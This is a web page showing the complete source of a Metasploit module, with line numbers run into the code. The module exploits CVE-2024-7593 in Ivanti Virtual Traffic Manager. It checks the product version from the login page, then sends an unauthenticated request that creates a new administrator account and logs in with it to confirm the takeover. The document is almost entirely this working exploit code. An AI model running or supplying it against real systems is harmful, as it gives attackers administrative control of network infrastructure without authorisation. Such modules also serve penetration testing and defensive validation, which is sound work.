Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/http/ivanti_vtm_admin.rb
Views: 11783
class MetasploitModule < Msf::Auxiliary1include Msf::Exploit::Remote::HttpClient2prepend Msf::Exploit::Remote::AutoCheck34def initialize(info = {})5super(6update_info(7info,8'Name' => 'Ivanti Virtual Traffic Manager Authentication Bypass (CVE-2024-7593)',9'Description' => %q{10This module exploits an access control issue in Ivanti Virtual Traffic Manager (vTM), by adding a new11administrative user to the web interface of the application.1213Affected versions include 22.7R1, 22.6R1, 22.5R1, 22.3R2, 22.3, 22.2.14},15'Author' => [16'Michael Heinzl', # MSF Module17'ohnoisploited', # PoC18'mxalias' # Credited in the vendor advisory for the discovery, https://hackerone.com/mxalias?type=user19],20'References' => [21['PACKETSTORM', '179906'],22['CVE', '2024-7593'],23['URL', 'https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Virtual-Traffic-Manager-vTM-CVE-2024-7593?language=en_US']24],25'DisclosureDate' => '2024-08-05',26'DefaultOptions' => {27'RPORT' => 9090,28'SSL' => 'True'29},30'License' => MSF_LICENSE,31'Notes' => {32'Stability' => [CRASH_SAFE],33'Reliability' => [REPEATABLE_SESSION],34'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]35}36)37)3839register_options([40OptString.new('TARGETURI', [true, 'Base path', '/']),41OptString.new('NEW_USERNAME', [true, 'Username to be used when creating a new user with admin privileges', Faker::Internet.username.gsub(/[^a-zA-Z0-9_-]/, '_')]),42OptString.new('NEW_PASSWORD', [true, 'Password to be used when creating a new user with admin privileges', Rex::Text.rand_text_alpha(12)]),43])44end4546def check47res = send_request_cgi(48{49'method' => 'GET',50'uri' => normalize_uri(target_uri, 'apps', 'zxtm', 'login.cgi')51}52)5354return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?5556body = res.body57version_regex = /StingrayVersion\.Set\(\s*'([^']+)'\s*,/58match = body.match(version_regex)59if match60version = match[1]61return Exploit::CheckCode::Appears("Version: #{version}") if Rex::Version.new(version) <= Rex::Version.new('22.7R1')62else63return Exploit::CheckCode::Safe64end6566Exploit::CheckCode::Safe67end6869def run70res = send_request_cgi(71'method' => 'POST',72'uri' => normalize_uri(target_uri.path, 'apps/zxtm/wizard.fcgi?error=1§ion=Access+Management%3ALocalUsers'),73'vars_post' => {74'_form_submitted' => 'form',75'create_user' => 'Create',76'group' => 'admin',77'newusername' => datastore['NEW_USERNAME'],78'password1' => datastore['NEW_PASSWORD'],79'password2' => datastore['NEW_PASSWORD']80}81)8283unless res84fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')85end8687html = res.get_html_document88title_tag = html.at_css('title')8990fail_with(Failure::UnexpectedReply, 'title tag not found.') unless title_tag91title_text = title_tag.text.strip92if title_text == '2'93print_status('Request to add new admin user sent, verifying...')9495form = Rex::MIME::Message.new96form.add_part('form', nil, nil, 'form-data; name="_form_submitted"')97form.add_part(datastore['NEW_USERNAME'], nil, nil, 'form-data; name="form_username"')98form.add_part(datastore['NEW_PASSWORD'], nil, nil, 'form-data; name="form_password"')99form.add_part('Login', nil, nil, 'form-data; name="form_submit"')100101res = send_request_cgi(102{103'method' => 'POST',104'uri' => normalize_uri(target_uri.path, 'apps', 'zxtm', 'login.cgi'),105'ctype' => "multipart/form-data; boundary=#{form.bound}",106'data' => form.to_s107}108)109if res && res.code == 302 && res.get_cookies.include?('ZeusTMZAUTH_')110store_valid_credential(user: datastore['NEW_USERNAME'], private: datastore['NEW_PASSWORD'], proof: html)111print_good("New admin user was successfully added:\n\t#{datastore['NEW_USERNAME']}:#{datastore['NEW_PASSWORD']}")112print_good("Login at: #{full_uri(normalize_uri(target_uri, 'apps/zxtm/login.cgi'))}")113end114115elsif title_text == '0' && html.to_s.include?('ERROR: Specified user already exists')116fail_with(Failure::BadConfig, "Specified user already exists. Specify a different user name with 'set NEW_USERNAME <USER>'.")117elsif title_text == '0' && html.to_s.include?('ERROR: Username must contain only: letters, numbers,')118fail_with(Failure::BadConfig, "Specified username is invalid. Username must contain only letters, numbers, underscores (_), and hyphens (-). Specify a different user name with 'set NEW_USERNAME <USER>'.")119else120fail_with(Failure::NotVulnerable, 'Unexpected string found inside the title tag: ' + title_text)121end122end123end124125126